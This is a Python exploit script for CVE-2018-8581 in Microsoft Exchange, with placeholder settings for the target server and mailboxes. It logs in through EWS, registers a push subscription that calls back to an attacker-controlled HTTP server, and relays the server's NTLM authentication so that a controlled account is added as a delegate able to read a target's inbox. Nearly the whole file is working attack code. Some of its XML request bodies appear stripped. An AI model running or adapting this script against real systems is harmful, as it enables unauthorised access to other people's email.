#!/usr/bin/python # -*- coding:utf-8 -*- # # CVE-2018-8581 # https://github.com/WyAtu/CVE-2018-8581 # import re import ssl import httplib from ntlm import ntlm from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer # Exchange server config IP = 'mail.target_domain.com' PORT = 443 PROTO = 'https' # PORT = 80 # PROTO = 'http' # CONTROLLED_EMAIL and TARGET_EMAIL config USER = 'the_email_u_have' DOMAIN = 'the_domain_name' PASS = 'password_of_the_email_u_have' TARGET_EMAIL = "the_target_email_u_want@target_domain.com" CONTROLLED_EMAIL = "the_email_u_have@target_domain" # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate FLAG = 1 # Exchange server version # EXCHANGE_VERSION = "Exchange2010_SP1" EXCHANGE_VERSION = "Exchange2010_SP2" # EXCHANGE_VERSION = "Exchange2010_SP3" # EXCHANGE_VERSION = "Exchange2013" # EXCHANGE_VERSION = "Exchange2016" #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL HTTPPORT = 8080 EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/" try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: pass else: ssl._create_default_https_context = _create_unverified_https_context URL = "/EWS/Exchange.asmx" def request_func(ip, port, proto, body): if proto == 'https': conn = httplib.HTTPSConnection(ip, port) else: conn = httplib.HTTPConnection(ip, port) ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER) headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"} conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if response.status == 401: print "\t[*] Got 401 response with NTLM NONCE." print "\t[*] Trying authenticate current user..." Nonce = response.getheader("WWW-Authenticate") (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):]) ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags) headers["Authorization"] = "NTLM " + ntlmresponce conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if response.status != 401: print "\t[+] Authentication and request sent successfully" conn.close() return resp_data conn.close() exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS)) def make_simple_add_body(exchange_version, target_email, controlled_email): body = ''' %s %s None false false DelegatesAndSendInformationToMe '''%(exchange_version, target_email, controlled_email) return body def make_simple_remove_body(exchange_version, target_email, controlled_email): body = ''' %s %s '''%(exchange_version, target_email, controlled_email) return body def make_pushsubscription_body(exchange_version): body = ''' NewMailEvent ModifiedEvent MovedEvent 1 %s '''%(exchange_version, EVIL_HTTPSERVER_URL) return body def make_relay_body(exchange_version, target_email, controlled_email, sid): if FLAG == 1: body = ''' %s %s %s %s Editor false false DelegatesAndSendInformationToMe '''%(exchange_version, sid, sid, target_email, controlled_email) else : body = ''' %s %s %s %s '''%(exchange_version, sid, sid, target_email, controlled_email) return body def get_sid(text): sid = email = "" sid_re = re.search('(.*?)', text, flags=re.I|re.M) if sid_re: sid = sid_re.group(1) email_re = re.search('(.*?)', text, flags=re.I|re.M) if email_re: email = email_re.group(1) return sid, email def get_ntlm_challenge(ntlm_negotiate, body): headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if response.status == 401: Nonce = response.getheader("WWW-Authenticate") return Nonce def use_ntlm_auth(ntlm_auth, body): resp_data = "" headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() return resp_data class postHandler(BaseHTTPRequestHandler): def do_POST(self): global step result = "" headers = self.headers authHeader = headers.getheader('Authorization') if not authHeader: self.send_response(401) self.send_header('WWW-Authenticate:', 'NTLM') self.end_headers() step = 1 else: if step == 1: ntlm_negotiate = authHeader step = 2 ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body) self.send_response(401) self.send_header('WWW-Authenticate:', ntlm_challenge) self.end_headers() else: self.send_response(401) self.end_headers() ntlm_auth = authHeader result = use_ntlm_auth(ntlm_auth, relay_body) step = 3 if FLAG == 1 and step == 3: if "ErrorDelegateAlreadyExists" in result: print '[+] Delegate Already Exists' return sid, email = get_sid(result) if sid == "": print '[-] Something error, can\'t add delegate' return print '[+] Delegate added' print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL) elif FLAG == 0 and step == 3: if 'ErrorNotDelegate' in result: print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL) return if 'ErrorNonExistentMailbox' in result: print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL) return if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result: print "[-] Access denied" return if "NoError" in result: print "[+] Delegate removed" return print "[-] Something error, can't remove delegate" else: pass return if __name__ == "__main__": print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT) print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL) add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) result = request_func(IP, PORT, PROTO, add_body) remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) if 'ErrorDelegateAlreadyExists' in result: print '[-] Delegate Already Exists' print '[*] Now try to remove the delegate' result = request_func(IP, PORT, PROTO, remove_body) print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL) add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) result = request_func(IP, PORT, PROTO, add_body) sid, email = get_sid(result) if sid == "": exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL)) print "[+] Got the sid of '%s': %s"%(email, sid) print "[*] Sending 'RemoveDelegate' EWS request..." result = request_func(IP, PORT, PROTO, remove_body) if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result: exit("[-] Delegate not removed") print "[+] Delegate removed" push_body = make_pushsubscription_body(EXCHANGE_VERSION) print "[*] Sending 'PushSubscription' EWS request..." result = request_func(IP, PORT, PROTO, push_body) if 'NoError' not in result: exit("[-] Sending 'PushSubscription' EWS request failed") print "[+] Sending 'PushSubscription' EWS request successfully" print "[*] Now start to relay NTLM..." if PROTO=='https': conn = httplib.HTTPSConnection(IP, PORT) else: conn = httplib.HTTPConnection(IP, PORT) relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid) step=1 try: server = HTTPServer(('', HTTPPORT), postHandler) print '[*] Started httpserver on port', HTTPPORT print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove') while not(step == 3): server.handle_request() except KeyboardInterrupt: print '[-] ^C received, shutting down the web server' server.socket.close()